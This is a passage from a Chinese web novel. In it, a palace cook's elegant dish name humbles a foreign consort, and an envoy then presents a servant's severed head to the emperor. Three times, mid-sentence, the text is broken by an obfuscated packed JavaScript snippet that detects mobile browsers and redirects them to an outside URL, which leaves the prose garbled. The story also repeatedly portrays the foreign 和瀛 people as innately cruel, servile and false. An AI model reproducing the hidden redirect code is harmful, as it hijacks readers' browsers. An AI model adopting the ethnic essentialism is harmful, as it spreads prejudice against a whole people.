这五个字她都认识,然而组合起来,却成就出一种超越她认知的美感。 这是名字? 是这道菜的名字? 菜名还能这么起? 终于,藤原纯子的大脑胡乱地运作起来,试图分析现在的情况。 她隐约感觉到了,“玉带朱衣侯”竟然真的是这道菜的名字。 而且,比她起的“香葱焖海老”要精妙不知多少倍。 可、可是,这到底是怎么—— “不错,这个名字不错。” 李驰在一旁朗声笑着,解开了藤原纯子的疑惑。 “虾之雅称中,朕也觉得以‘朱衣侯’为最佳。” 在李驰看来,因虾头似矛又似枪而将其称作“江湖客”,带上了糟乱的江湖习气,打打杀杀的,为他所不喜; 因其色泽红艳,形状卷曲而将其称作“玛瑙钩”则有圄于闺房情乐的轻靡之感,遮遮掩掩的; 又因为虾的须发长且白,其实大隆也有“长须公”这样的叫法,和藤原纯子的“海老”颇有相似之处。 但李驰觉得这样叫法过于直白,不算雅致。 唯有这一句“朱衣侯”,极其符合李驰的帝王心性。 他朝藤原纯子解释道:“本朝高官才可穿朱服紫。爱妃你看这些红色的海虾,岂不是正如金殿面圣的朱衣公侯吗?” 藤原纯子恍然大悟。 她颤着瞳孔,视线在那张花笺和苏晓瓷之间转了无数遍。 “朱衣侯……” 藤原纯子喃喃道,震惊于华夏文字这样精准的表达和丰富的寓意。 这三个字,甚至都是最简单、最基础的汉字,既不华丽,也不高深。 可短短三字,不仅完美描述出了食材的形态、颜色,更难得的是那意境。 就如同此时,只听了这名字,只说这几句讲解,李驰的眼前就仿佛出现了那些因受封受赏而躬身行礼,千恩万谢的臣子们。 不得不说,他是这世间最配得上这个菜名之人了。 李驰龙心大悦,继续称赞。 “虾有峥嵘若龙之相,也有力争上游之雄,比其它水族精贵气派,以朱衣侯比拟正合适。” 藤原纯子只茫然地点点头。 她的面色也是一片空白,只是下意识地在应和李驰。 于是李驰对她这般表现,生出淡淡不满来。 经过几天的相处,李驰已经习惯一呼,藤原纯子自己就能百应,对他极尽崇拜。 而此时,自己讲解了一大顿,藤原纯子却无甚反应。 于是,带着自己也未察觉到的规训意图,李驰笑问,“爱妃,朕来考考你。朱衣侯你明白了,那‘玉带’又作何解?现在可看出来了?” 藤原纯子看出来了。 原来所谓“玉带”,就是她方才大咧咧说的那些香葱。 雪白的葱段被油温染上金色,变得柔软而透白,确实像是由金线编织、缀着颗颗宝玉的玉带。 更难得的是,这一意向正与朱衣相配。 因为公侯王爵皆是身穿朱衣、腰系玉带。 ——磕磕绊绊地,藤原纯子将自己的见解如此说出,只是没有平常那样甜美的笑容,也并非平常那样谦恭的语气,这使得李驰心中的隐隐郁气,仍是没有得到抒发。 他本来想着,如果藤原纯子真起出一个好名,不如就由她将这道菜命名,宫中从此延用,也算是博美人一笑的佳话。 只可惜,两个名字高下分明,看来是不用改了。 其实,经历昨日今日这两遭,李驰对于藤原纯子那“汉学之神女”的名号究竟有几斤几两,心中已然有数。 但比起这名号,他其实更看重藤原纯子是否乖巧可人,是否将全部的心神精力献给他。 李驰觉得自己或许太过娇惯藤原纯子了。 那恃宠而骄的习惯一旦养成,便很难纠正。 李驰必须现在便随便找个什么理由,让她尝一点苦头,如此,才能将她修剪成自己最喜欢的模样。 李驰收起笑容,“爱妃,怎能因长者年老,就说他们身躯佝偻似虾?还特意将其点出,作成什么‘海老’一词。” “朕以为此词十分无礼,而且小气,你以后莫再用了。” 藤原纯子本来仍陷在冲击中,神思都是木的,乍听君王斥责,骤然惊住。 “陛下……” 她想要开口解释。 然而她自会说话,说的就是“海老”一词,从来没想过其不妥之处,如何能追根溯源地解释明白? 李驰还在继续,“为尊者讳,为亲者讳,为贤者讳,亦该为长者讳。就算长者非亲非故、无财无权,只是寻常百姓,也不可轻率地只以一‘老’字相称。” 那“长须公”的名字,起码还算个带着敬意的尊称呢。 “爱妃,听明白了吗?” 自打相识,李驰从来没有用这样严肃的语气与藤原纯子说话,后者顿感惊惶不已。 藤原纯子低头连连道歉,看不清表情,苏晓瓷的余光倒是能看到阿竹正向自己投来无比怨恨的目光。 关我什么事?! 这里又有我的事?! 苏晓瓷深感冤枉。 右膳长大人明鉴啊!她在心中遥遥呼唤厉玉娘。 我这次真的不是故意的! 自己早已决定百忍成金,绝对不与藤原纯子一般见识了,奈何对方人菜瘾大,非要挑衅…… 如果她没想卖弄墨水去起什么菜名,哪有这自取其辱的一出? 她自己来送人头,苏晓瓷也很无辜啊。 而且天地良心,苏晓瓷可不是在拿自己穿越的金手指碾压藤原纯子。 苏晓瓷在现代时,虽然也学习和研究了许多古菜谱,但是她毕竟是厨子,又不是汉语言文学博士,在古文学的造诣上,还是差了许多。 鞠躬见汤王,封作朱衣侯。 鲟香透白琼瑶片,虾醉殷红玛瑙钩。(1) …… 无论是这些诗句,还是昨日国宴上的礼记,都是苏晓瓷来到此世才学会的。 所以不只是她,哪怕去问任何一个能够升做一等膳婢之人,那都是被负责的姐姐们打着手板背出来的。 她们对于各种食材相生相克的关系、质性、产地,以及经典中所记载的膳食之道、宴饮之礼都能对答如流。 毕竟,她们可是在这禁宫中当差。 全天下,没有地方比此处更讲究礼节和规章了。 原主本就十分用功,苏晓瓷接收了她的记忆,是个很好的开始。 她又深知自己欠缺于此,于是孜孜不倦地学习,才将那些相当于硬灌进自己脑中的知识融会贯通,能够灵活地使用,起出了“玉带朱衣侯”这样的名字。 聪慧的天性,适当的努力,加之最重要的原因——有幸根植于这一片文化昌盛、历史悠久的土壤,苏晓瓷早在不知不觉间就吸取了足够的养分。 文化赋予她感知力,历史赋予她理解力。 这一切与生俱来,融入她的血脉,早超过了时间、空间、地域等所有限制,绵延不绝。 所以苏晓瓷能在见到晴夏凉秋、岸芷汀兰的美景时,脑中骤然弹出一句最合适的诗句。 所以她能仅用四字的成语和典故,就精简而准确地表达想法、陈述情况,与同胞们高效地交谈。 所以她能在任何一个沧海桑田、镜花水月的瞬间,有感而发,叹出那些以前未能真正读懂的箴言和俗语。 所以哪怕她是现代人,初学一句古韵十足的“朱衣侯”,也能立刻理解其中的意韵。 而不是像藤原纯子一样—— 明明就生活在使用古文的时代,仍需要竭尽全力才能拼出一知半解,不得法门,难登妙境。 正如李驰的那一句“冰冻三尺非一日之寒”。 而华夏的冰,可是冻了数千年不止。 这千年不熄的遗芳余烈,始终蛰伏于苏晓瓷之身、蛰伏于每一个华夏子孙之身,而后在某个瞬间——忽然就苏醒,与她们合奏出了来自远古的共鸣。 那些在短短数年间,囫囵吞枣般粗浅地学了一些汉学的和瀛人,怎么可能比得上真正的华夏子孙? 起点就是不一样的。 所以,哪怕苏晓瓷不主动出击,也能让来犯的敌人丢盔卸甲。 藤原纯子此时便是心慌意乱,仿佛掉进了从一个小小菜名衍生出的万丈深渊,爬也爬不上来。 她胃口全消,李驰倒是胃口大开。 早在说话间,尚食女官已经剥了一只油焖的鲜虾,放入他的食碟中。 那虾弹滑无比,筷子夹了挨到唇边,便立时如活物一般跃入口中。 李驰挑眉,感受金色的葱香先浸满口腔,再一口咬下——嫩、滑、还有那么一点点的脆,虾被烘出原原本本的鲜味,葱和油结合出的油润香气更是锦上添花,令李驰十分满意。 打一个巴掌给一个虾,他看着仍心有余悸的藤原纯子,复温和地笑着,亲手给她夹了虾。 这虾一入口,藤原纯子就感知到其不同。多么恰到好处的调味和火候! 她从未吃过如此鲜嫩可口、同时还滋味丰富的虾。 藤原纯子这回不敢懈怠,努力调整情绪,热切地与李驰交谈。 只是,她到底有些食不知味,再美味的餐食也是白搭,一只虾磨磨蹭蹭吃完时,李驰已经吃了两只海胆水饺。 全新的馅料搭配令李驰十分惊讶。 这海刺猬他吃过几次,记得御厨房也是加了鸡蛋,是用鸡蛋炒散的。 李驰吃了,只觉得此物无甚特别,而且腥气太重,不如寻常鱼虾鲜美。 万万没想到,同是加了鸡蛋,这水饺竟是如此适口,毫无腥膻之味,只有被合适的烹调之法带出的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561692|142736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲜甜。 这是因为苏晓瓷将海胆搅拌得刚好,松松散散的有零有整,才能又和鸡蛋和谐,又不失其原有的口感和滋味。 水饺包得不大,刚好一口一个,如同一个个鼓囊囊的小炮仗包,咬下去就炸出温热而丰沛的汁水,直往喉咙里泵,鲜得人简直要把舌头一起吞下。 “这饺子滋味极佳。”李驰称赞,“没想到海刺猬还有这样做法。” 尚食女官们与有荣焉,巧笑倩兮地回应着帝王的喜悦,劝酒劝饭餐。 李驰心情舒畅,又亲自给藤原纯子夹了水饺。 藤原纯子还没吃过饺子,甚至没吃出来这馅料是什么做的,亦不知李驰口中的“海刺猬”就是自己所知的海胆。 她只知道这东西太好吃了! 比起蒸制,煮熟的饺子皮本就更柔韧,光滑如缎,和着那鲜美咸鲜的馅料,滑溜溜地就顺下去了,令她意犹未尽。 幸亏她不知道,那馅料居然是海胆所制作,否则,说不定也要像阿竹似的闹出一番事端。 可实际上,就算要闹,藤原纯子现在也是力不从心,难掀风浪。 如今眼见李驰满意菜品,女官们也应和,风向完全倒向苏晓瓷…… 而身为和瀛人,藤原纯子最不愿的就是与众不同,最擅长的就是随波逐流,她便只得跟风夸赞。 “苏女官这两道菜品确实都巧夺天工,纯子受教了。” 她刻意将姿态放低,楚楚可怜,似乎是在等待李驰安抚她一句“膳婢而已,如何能与爱妃相比?” 可惜,李驰吃得正舒畅,根本没接茬。 不仅没接茬,他又看苏晓瓷始终很顺眼,便随手拿起一个未用的纯金酒盏示意。 “赏给你了。” “多谢陛下!” 苏晓瓷惊喜非常,赶紧双手接过,高呼万岁。 金盏不大,却是实心的,这沉甸甸的重量牵出苏晓瓷抑制不住的笑容。 与之相对的,是藤原纯子看着苏晓瓷,震惊到难以言表。 和瀛的金矿极其稀少,黄金被尤其珍惜地使用。 就算在她的陪嫁里,也没有这样纯金之物,最贵重的只是镀金。 而这样一个一两多重的纯金錾花杯……就被赐给了一个膳婢? 还是一个由她叫来、准备搓弄搓弄的膳婢? 那她岂不是还帮了苏晓瓷一把?! 藤原纯子只觉得一口气怄住,登时食不下咽。 自打来到大隆,她已经见过无数翠羽明珠、琼楼玉宇。 可眼睛看见是一回事,眼界的提高却是另一回事。 她根本无法理解这样的慷慨。 但是苏晓瓷理解! 苏晓瓷接受! 李驰再给十个八个,她都一秒也不谦虚推脱,全部接受! 先贤有言:万钟则不辩礼义而受之,万钟于我美滋滋! 也不算不辩礼义啦,苏晓瓷想,这是她靠实力得来的。 一个金盏,价值不菲,无疑是她之后路途的厚重本钱。 接下来的时间里,她一直双手合着兜住金盏,指尖在上爱不释手地摩挲着。 直到膳用过半,苏晓瓷忽听脚步纷纷,而后见有一位年长的青袍内侍,托着一个木盒,领着五七下属进得殿来。 此时,她还不知此人乃是李驰身边的内侍总管,名叫陈永忠。 李驰见了陈永忠,便问“礼物都送过去了?” 陈永忠点头称是。 不知为何,他的嘴角虽然有着觐见君王时营业性的标准笑容,但是给人的感觉却是苦兮兮的,好像被什么负面情绪撕扯,一张脸上五味杂陈。 苏晓瓷的感觉没错。 陈永忠此时心摇摇如悬旌,惊魂未定,正恶狠狠地暗将和瀛使团所有人从头到尾骂了一遍。 侍候天子三十余年,他还从未遇过这样的事情。 一向精明强干的陈永忠,此时竟也踌躇不决。 他一边和李驰对话,一边频频望向手中木盒。 谁愿意将这……这东西呈到天子眼前啊? 他在心中哀嚎。 然而,使臣进呈之物,无论何物,必须刻不容缓送至御前。 ——这是大隆皇室的祖训。 大隆为当世强国,国君为天下共主。 九夷、百越、三十六国……无数番邦部落皆来朝觐。 大隆历代帝王在血与火的淬炼中,深知使臣任何微小的动向,都可能迅速孵化出巨大的差池、误会,或者阴谋。 因此,大隆治国尤重外交,便有了那样一条祖训。 也就是说,使臣只要送了东西、送了书信,哪怕君王在酣睡之中,内侍也要立刻传达。 职责所在,祖训所迫,陈永忠只能眼一闭心一横。 “陛下,”他颤声道,将木盒高举过眉。 “藤原少将军拜谢您的赏赐,特意……特意为您准备了一份回礼。” 13. 盒中物、天子盛怒 那是一个大概一尺见方的木盒,通体漆黑,并无装饰。 它是那么的黑。 仿佛要将周遭空间的所有色彩全都吸入、困住,再发酵成恶臭的存在。 苏晓瓷的心中蓦然升起不祥的预感。 她看着陈永忠胳膊使劲往前抻、身子使劲往后仰,仿佛只为让这木盒多远离自己哪怕一毫一厘的抗拒模样; 再瞧着他那几个面如菜色的内侍下属; 最后,凭着她对和瀛这一民族的了解…… 苏晓瓷的眼睛一点一点睁大,就如有些微的血腥味正一丝一丝弥散在空中。 她的五感优异,第六感也向来很准。 ……不会吧。 不会是我想的那样吧? 一阵突而其来的恶寒当中,苏晓瓷咬住开始发寒的齿根,自嘲地自己哄自己。 呵,应该是自己想多了。 他们不会这么疯……的吧? 与若有所思的苏晓瓷相比,李驰则是不疑有他。 毫不夸张地说,虽然李驰富有天下,然而就知识面的广博和深刻程度来说,他并不如苏晓瓷。 而且,远远不如。 苏晓瓷毕竟曾生活在信息和技术爆炸的世界,她曾真切地站在时代的肩膀上,读过的书、行过的路,皆能以一抵百,自然强过李驰。 就比如李驰对和瀛国的了解,其实只来自两国偶尔互通的国书,来自使团们每回送来的特产,来自爱妃添油加醋的描述……片面而浅薄,还经过了大量的美化。 李驰从来没有了解过这个民族真面目,也就想不到——他们能做出什么样的事情来。 所以,此时的李驰只愉快地注视着那黑色木盒。 “哦?藤原少将军送的?快呈上来吧。” 谁知,话音落,陈永忠先“扑通”一声跪下。 “陛下恕罪!这样的东西本来、本来绝不该呈到您的面前。奴……” 他言辞切切,又急又气,且惊且忧,几乎要落下泪来。心想陛下还在用午膳呢,这算什么事儿啊?! “实在是奴不敢违背祖训,这才冒犯天颜,请陛下恕罪,请陛下恕罪!” 这么一出,实在令李驰丈二和尚摸不着头脑。 怎么一件礼物就冒犯天颜了? 他还是皇子的时候,陈永忠便随侍左右,见惯风浪,享尽荣华,李驰还未见过他如此冒失惊慌。 也许是和瀛国又送了不值钱的土布和海带? 也许是陈永忠不小心损毁了礼物? 都是小事而已,怎么被吓成这样…… 李驰摇头而笑,准陈永忠起来回话。 然而,陈永忠执意不起。 如雨一般瀑流而下的汗滴,更将他的身形坠低,整个人贴在地上似的。 “奴不敢呈进回礼。” 陈永忠的声音像是一截燃尽的枯柴。 “昨夜的宫宴之上,大喊菜品有毒的那一个和瀛随从,名叫铁之助。” “这盒中盛装的……是、是他的头颅。” 李驰愣住。 而苏晓瓷沉沉闭上眼睛。 他爹的,居然确实被她猜中了。 真是他们会干出来的事。 陈永忠已经破罐破摔了。 那个可怕的词一旦说出口,接下来,便仿佛简单了许多。 “陛下,据藤原少将军所说,此子失礼于天可汗陛下御前,羞愧难当,因此切腹自尽。” “少将军亲自割下其头颅奉上,以平息您的怒火。” 头、头颅?! 离内侍们最近的几位女官堪堪反应过来,顿时花容失色,急步后撤。 苏晓瓷身边的小宫娥中,更有那被尖叫声噎在嗓子眼儿的,悄无声息地晕了,又被同伴们七手八脚扶下去。 至于李驰,也陷入了漫长的沉默。 平息怒火? 可是……他也没有那么大的怒火啊? 李驰几乎有些茫然地想着。 那看起来只是一个还未弱冠的少年,见识有限,因不曾吃过辣椒才闹出笑话。 况且铁之助反应激烈,正是因为护主心切,以致忘了场合尊卑。 事后扪心自问,李驰并未真的怪罪于他。 就至于因此自杀?还被族人将头颅割下,落了个身首异处、埋骨他乡的下场。对于一个远渡重洋的少年人来说,这未免太悲惨了些。 李驰或许有千百个缺点,但他在无风无雨的金銮中生长出的宽宏之心,却是千真万确的。 想他即位之时,四海已定,国中耄耋老人,生而未闻兵戈。 于李驰本人,别说是战场了,就连练兵的校场他都未踏足,龙袍不染血色。 而现在,一颗头颅——还是一颗据说是因他而被割下来的头颅,就在十步之外,透过那漆黑的木盒,静静看着他。 这还用什么膳啊?! 李驰差点吐出来。 他可算知道陈永忠为何会是那般反应了。也是为难他。 世人常说“烫手山芋”,可这一颗头颅拿在手里,那才是真烫手。 李驰的思绪翻滚,亦如胃中的食物,只怕此时开口就要吐出来。 他也确实不知该如何反应。 饭香飘飘的华美膳厅,仿佛顷刻之间就阴风阵阵,众人噤若寒蝉。 “如此甚好。” 唯有藤原纯子的声音,忽地轻柔响起。 “铁之助能作为一个武士死去,这是一件好事呀。” 李驰怔怔看向自己的宠妃。 看她年轻的粉颊和纤长的细眉,看她甜蜜的微笑和温婉的眼睛——所有这些他喜爱的部分,已经被这句话尽数扭曲。 然而,藤原纯子似是丝毫没意识到自己正说着多么可怕的话,她的笑容甚至愈发欣慰。 “阿竹,我记得铁之助是你堂弟的儿子。还好还好,他没有给你们家族蒙羞。” “是的,娘娘。” 阿竹立时上前深深鞠躬,眼中已然盈满泪水。 “多谢少将军成全。” “铁之助自十岁陪在少将军身边,可这孩子愚钝,寸功未立。昨日还犯下大错,幸亏少将军大度,准许他剖腹而去。” “居然还是由少将军做了铁之助的介错人,亲自斩下其头颅。啊,天啊,这是怎样的荣耀啊!”(1) 阿竹泪水涟涟,却不是因为悲伤,而是因为庆幸的激动。 她五体投地跪下,遥遥朝着藤原义下榻的官驿方向不停叩首。 “真的是非常感谢!真的是非常感谢!” 天娘咧!疯子! 陈永忠在心里惊骂,连滚带爬地远离殿门。 他本来还跪在那儿,这一不小心,就被迫和阿竹对拜了。 晦气啊! 他不是怕受了阿竹的磕头会折福折寿,只是觉得会被铁之助的冤魂缠上吧! 自己的死亡,竟被亲人当做值得感谢的事情…… 他要是铁之助的话,今晚就把阿竹一起带走! 带血的嘴角、惊恐圆睁的眼睛、额头诡异的血瘀……只一眼,就永生难忘,那颗可怖的头颅仍不时回闪在陈永忠的脑海。 这是死不瞑目啊,他想。 藤原义说铁之助是自愿赴死,但那真实情况究 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565693|142736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟为何……陈永忠可不知道。 他只知道和瀛使团的人礼貌又友好地笑着,手上却向他展示铁之助的头颅。 陈永忠本以为,因那些人是战场厮杀的武人,才会如此行事; 没想到和瀛国的女子,想法居然也疯癫至此。 他向看鬼一样,看着阿竹喜极而泣地叩首,而藤原纯子以欣赏的目光对其守望。 这样诡异的场景,也吓得苏晓瓷身边的小宫娥们忍不住瑟瑟发抖。 “堂弟的儿子,那可是实在亲戚呀,她、她怎么这样?” “是不敢表现出不满?毕竟是少将军下的手。” “不对……我看她就是挺高兴的。” 宫娥们实在是太害怕、太迷惑不解了。 眼前的场景简直不可思议,她们连规矩也顾不得,只不停地絮语。 仿佛将彼此细若蚊蝇的声音当做拐杖,她们必须倚靠着这些熟悉的事物,才能证实自己尚在这同一个烟火人间,而不是幽冥鬼域。 “有毛病吧,自家孩子死了有什么可高兴的。” “我也觉得。” “咱们以后伺候的时候得小心些,我怎么觉得和瀛人这么邪性呢……” 苏晓瓷将宫娥们的话尽数收入耳中,叹出一声感慨的长息。 就在来这霓云殿之前,对于那个叫铁之助的少年,苏晓瓷还讽刺过、吐槽过、埋怨过。 然而,此时此刻,他年轻的头颅就在这里,成了藤原义弄权的替罪羊。 如果藤原义送来的是他自己的头颅,苏晓瓷还高看他一眼。 因为在那国宴之上出了最大丑的人,明明就是他! 可他却将这份屈辱的怒火转嫁到铁之助身上去了。 苏晓瓷知道,这是上位者惯用的伎俩。 他们将剥夺,当做赏赐。 藤原义要了铁之助的性命,铁之助的家族还得谢谢他呢。 和瀛国就是这样。 上位者残忍,罔顾情理,傲慢的眼睛只看着日轮初生的方向,不会向下给予一丝慈柔和怜悯。 下位者极端慕强,所以只剩欺软怕硬的劣性和不思反抗的奴性。 这种上与下的链接在和瀛国一代又一代的历史中,被不断拧紧着加固,坚不可破。 所以伟大的革·命,改天换地的勇气和舍己为人的牺牲,都不会诞生于这个国家。 苏晓瓷想,他们也真是双向奔赴了。 就比如现在,藤原纯子和阿竹的表现,正是他们民族精神的一个完美缩影。 逢场作戏的热情,以及镂心刻骨的冷漠——居然能够同存。 所以他们要么动似疯兔,要么静如人偶,总是这样极端,又是这样虚假。 阿竹像气氛组一样,以夸张的动作和表情一刻不停地磕到额头通红; 而藤原纯子优雅端坐,带着认可的微笑看着。 她最后朝着阿竹点点头,转而对李驰道,“陛下,家兄送来此礼,可见其心之诚。” 笑着撒娇,她抚上李驰的手。 “请您呀,千万别再怪罪他失礼于国宴了。” 李驰猛然抽回手。 他看明白了—— 这一颗血淋淋的人头,这一条活生生的性命,在和瀛众人看来,居然真的不是恐吓、不是羞辱、不是挑衅,而是一种真诚的讨好。 他可不想要这样的讨好。 李驰默默起身。 膳未用尽,他却沉着脸,一言不发直往殿外而去。 临出门前,他到底回身,看着惊愕的藤原纯子说道。 “爱妃,你确实该多看看《礼记》。” 14. 领食材、风光回寺 “天呐晓瓷!你也太厉害了吧!” “真的是陛下赏的金杯呀,这得值多少钱啊?” “哎哎,你慢点儿!磕了碰了咋办?快给我看看!” “比咱们鸿胪寺最好看的那套莲花瓣金盏还好看!啧啧,你们瞧瞧这花纹!” “废话,这是陛下用的金盏,和给使臣们用的能一样吗?” 苏晓瓷离鸿胪寺后厨院子还有大老远,就被一直等待她的众人逮住了。 以白灵为首的这十来号人,都是真心为苏晓瓷担心的,本来有千百句话想要问她,结果只见苏晓瓷得瑟地笑着,从背后忽地拿出一个浓亮的金盏来。 是皇帝才可用的样式。 这还有什么可问的?! 众人齐齐愣住,而后爆出欢呼。 那一抹灿金色也被争抢着,流转在她们手中,晃瞎了方芳的眼。 这、这怎么可能? 她和藤原纯子一样目瞪口呆。 只是方芳惊讶的点不在于那金盏的珍贵,而在于苏晓瓷居然得了赏赐。 因为鸿胪寺中人,极少得到赏赐。 她们不用步步惊心地伺候宫中贵人,确实令人松快。 然而塞翁失马,因此也没有了露脸得赏的机会。 其他司局的姐妹说,哪怕仅仅去给各宫的娘娘传个信儿,对方都客客气气地塞来一个荷包络子、两块银锞子什么的—— 这话在鸿胪寺绝大多数人听来,简直是羡慕到哭。 因为那些抠抠搜搜的外国使臣,从来没给过赏赐。 从来没有! 众人常常也纳闷:按说使臣都是他们国中有头有脸的贵族和高官,怎么一个比一个小气? 他们来一趟,只顾吃喝玩乐,只顾最大限度为母国搬回大隆的赏赐,根本不管尽心照顾他们衣食住行的鸿胪寺,连装装样子都懒得装。 左右膳长大人,还有最高阶的膳使们倒是能得一些赏赐,但那都是鸿胪寺自家的官员们赐下,以慰她们尽忠职守。 连吃带拿的使臣们,则又美美隐身了。 同时被本国官员和外国使臣忽略……可以说,在鸿胪寺的历史上,还没有膳婢得到单独御赐的珍贵奖赏。 众人怎么能不羡慕? 余珠儿这样心思澄澈的,更是比自己得了赏还开心,欣欣然笑个不停。 晴光正好的春日午后,后厨小院中全是美好的小娘子们脆亮的说笑声。 方芳站在墙角阴凉的绿荫里,难受得心似火烤。 苏晓瓷的命怎么就这么好?! 往御前侍宴,多么惊险的差事。 方芳就在这儿等着苏晓瓷犯了错、挨了罚,或是被吓破了胆哭唧唧的回来呢! 结果对方春风得意,还被众人如此追捧……! 方芳垮着脸窥视的姿态,与院中这一片欢欢喜喜的雀跃如此格格不入,苏晓瓷一眼就看到她了。 她更愉悦地笑起来,竟将金盏举高,朝方芳遥敬一杯。 “方芳!”她喊,清越的声线杀人诛心,金盏被日光一映,粲然生辉。 “方芳,好可惜啊。实话实说,我觉得你才更适合在安昭仪娘娘身边侍候。” 还真别说,苏晓瓷自嘲,往那霓云殿走了一遭,自己说话都更加阴阳怪气了…… 所以苏晓瓷的意思是方芳为人阴暗,两面三刀,简直是精神和瀛人,为藤原纯子当差再合适不过。 围观众人不明其意,只是觉得她在向方芳示威,便跟着三三两两对了眼色,掩袖而笑。 而方芳本人,却完全曲解了苏晓瓷的话。 对! 本来就应该是我! 方芳不言不语,默默地陷入了魔怔。 她想,她也是白灵的手下,昨日如果没有苏晓瓷狡猾地先下手为强,那么她肯定会挺身而出为白灵顶罪。 到时候,国宴上的风头、白灵的感激、右膳长的赏识、晋升考核的名额,甚至是这御前进膳的荣耀、这价值不菲的金盏…… 都应该是自己的! 它们是被苏晓瓷抢走的! 根本不是苏晓瓷命好,而是她抢了自己的气运! ——“想通”了这一点,方芳就如同被打通周身血脉,红到滴血的眼睛似要射出红热的激光,恨不得将苏晓瓷身上钻两个洞。 可苏晓瓷说完那句话就不理她了,方芳呆立片刻,气得转身离去,尘飞裙摆,比乍然离席的李驰阵仗还大。 可方芳抓心挠肝,到底想要打探消息,便又原路返回,悄声跟在人群后面,眼看着她们喜气洋洋簇着苏晓瓷进了大膳房。 厉玉娘竟还等在此处。 她嘴硬心软,不顾庶务繁杂,也在这里干等到苏晓瓷回来,要亲见她一切安好。 苏晓瓷连忙向她见礼复命,将御前见闻挑挑拣拣说了。 “朱衣侯”起名风波,苏晓瓷并未提及; 至于铁之助一事,更是没吐露半个字。 既怕吓到这一屋小娘子,又因这不是她能当众讨论的。 苏晓瓷专注餐饮,只说了侍膳的情况。 厉玉娘听了心下稍安。 苏晓瓷那两道菜她一点儿也不担心,能得赏赐,她也一点儿不惊讶,她只若有所指地再次确认。 “可曾恭谨侍奉?没有惹得娘娘不快吧?” ……呃。 苏晓瓷有些心虚。 娘娘可是非常不快啊…… 但不是她惹的。 她苏晓瓷清清白白!坦坦荡荡! 和她没有半点关系啊! 厉玉娘看着苏晓瓷纯良的笑脸,总觉得这丫头古灵精怪,心眼子忒多,不容小觑。 但又怜她今日已受诸多磋磨,也没再说什么,只照常训诫众人几句便离开了。 镇场的厉玉娘一走,爱笑爱闹的小娘子们立刻炸了锅,围着苏晓瓷七嘴八舌。 “快给我们讲讲!陛下长得……啊不对,陛下的龙颜是什么样的?” “午膳上还有什么菜肴啊?” “我还没去过后宫呢,霓云殿大吗?” 苏晓瓷哭笑不得,深知若是不满足她们的好奇心,她今日就别想安生,干脆叫大伙儿去拿些瓜子零嘴来,一起热热闹闹聊起天来。 不止是这一日,而是直到翌日,还零星有人来问苏晓瓷御前情景。 甚至其中有那已经听过的,仍跟着津津有味地听。 想来也是,这些年纪轻轻的小膳使膳婢,其实也是被困于深宫之人。 一点点异于往常的趣闻,就足够新奇,令她们翻来覆去地咂摸。 但令苏晓瓷颇为不好意思的是,她现下没时间与她们玩闹。 因为按照之前的当众许诺,她要烹制自己的生辰宴,招待各位姐妹。 藤原纯子称病,让苏晓瓷不用去添菜,之后另等传唤便可。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579812|142736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至于藤原纯子为何“病”了,昨日在场的人心里都和明镜似的。 李驰不仅训斥了她,还拂袖离席,这样的耻辱已经足够事事都要“不安”的藤原纯子大病一场了。 说实话,藤原纯子百思不得其解,不知自己因何触怒天颜,唯有戚戚惶惶,哭了一夜辗转难眠,哪里还有心气再管苏晓瓷? 既然偷得浮生半日闲,苏晓瓷便择日不如撞日,想趁早将这生辰宴办了,免得再被突发的幺蛾子耽搁。 于是一大清早,她就往库房去领取食材。 作为一等膳婢,她可领的定额是一只鸡、一只鸭、一条鱼,另加十斤肉类蔬果。 听起来已然非常慷慨可观,足以成席。 最后领到的食材,则更是出乎苏晓瓷意料。 只见那向来斤斤计较的库房娘子漾着盈盈笑意,非常和善地给苏晓瓷挑了极好的鸡鸭。 光那只鸭子,就是五年的麻鸭,老鸭胜似药,格外珍贵。 苏晓瓷还没来得及道谢,就又被那所谓“十斤肉类蔬果”惊到了。 她这才意识到,这里的水分才最大—— 打个比方,一颗大白菜外加一根大萝卜,死沉死沉的,重量就可以直接来到十斤。 可苏晓瓷拿到的,全是精致的嚼头。 一份现掐的香椿芽儿、一份还带着土木屑的鲜蘑菇、一块羊后腿肉……品质好,种类还丰富。 苏晓瓷惊喜地一样样看过,一套搭配得当的席面已经构思完成。 但她又想了想,转而提出用其中的一块猪五花换两块豆腐来。 库房娘子讶然,直愣愣提醒。 “你这一筐,可是右膳长大人特意嘱咐挑的好的,真要用肉换豆腐?” 原来如此。 苏晓瓷了然,可算知道自己为何被如此优待了。 但是她心意不改,只温声回答。 “豆腐也是肉啊,不是叫‘小宰羊’吗?”(1) 这是五代的典故,以“小宰羊”做豆腐的誉称。 库房娘子秒懂,被苏晓瓷一本正经的表情逗得直笑。 